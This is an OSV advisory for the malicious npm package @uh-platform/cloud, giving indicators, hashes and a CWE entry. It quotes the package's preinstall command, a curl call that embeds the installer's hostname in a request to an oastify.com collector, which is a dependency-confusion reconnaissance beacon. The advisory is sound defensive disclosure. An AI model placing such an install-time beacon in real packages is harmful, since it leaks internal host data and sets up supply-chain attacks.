MAL-2026-16358

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@uh-platform/cloud/MAL-2026-16358.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16358
Published
2026-09-21T18:56:08Z
Modified
2026-09-21T19:30:05Z
Summary
Malicious code in @uh-platform/cloud (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451)

The package's preinstall lifecycle script (index.js) runs child_process.exec of curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/", placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on npm install before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020268",
            "import_time":  "2026-09-21T19:14:59.616877877Z",
            "modified_time":  "2026-09-21T18:56:08Z",
            "sha256":  "83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451",
            "source":  "amazon-inspector",
            "versions":  [
                "101.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @uh-platform/cloud

Package

Name
@uh-platform/cloud
View open source insights on deps.dev
Purl
pkg:npm/%40uh-platform/cloud

Affected ranges

Affected versions

101.*
101.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "index.js",
            "sha256":  "59505e2f42d1fdbdecb903f4d78a3a06ac04e2fca0e0eca9839bd220855537c8",
            "tlsh":  "a4e07d1448f9543632a29455fd2e581e75479902113bf5876dcf97101780548c01d2da"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "cloud-101.0.0.tgz",
            "hashes":  {
                "sha1":  "35ca10e1ffef9e64cb5bca205012de997e20837a",
                "sha512_sri":  "sha512-0DPjy8tWG7vySPqjqTFsfGiNXz1J7tjD49zn7aDkwNHuEh37PgqQMlNw+vztVkEnMJVjZC4YZNh1V/PDDeKxUg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@uh-platform/cloud/MAL-2026-16358.json"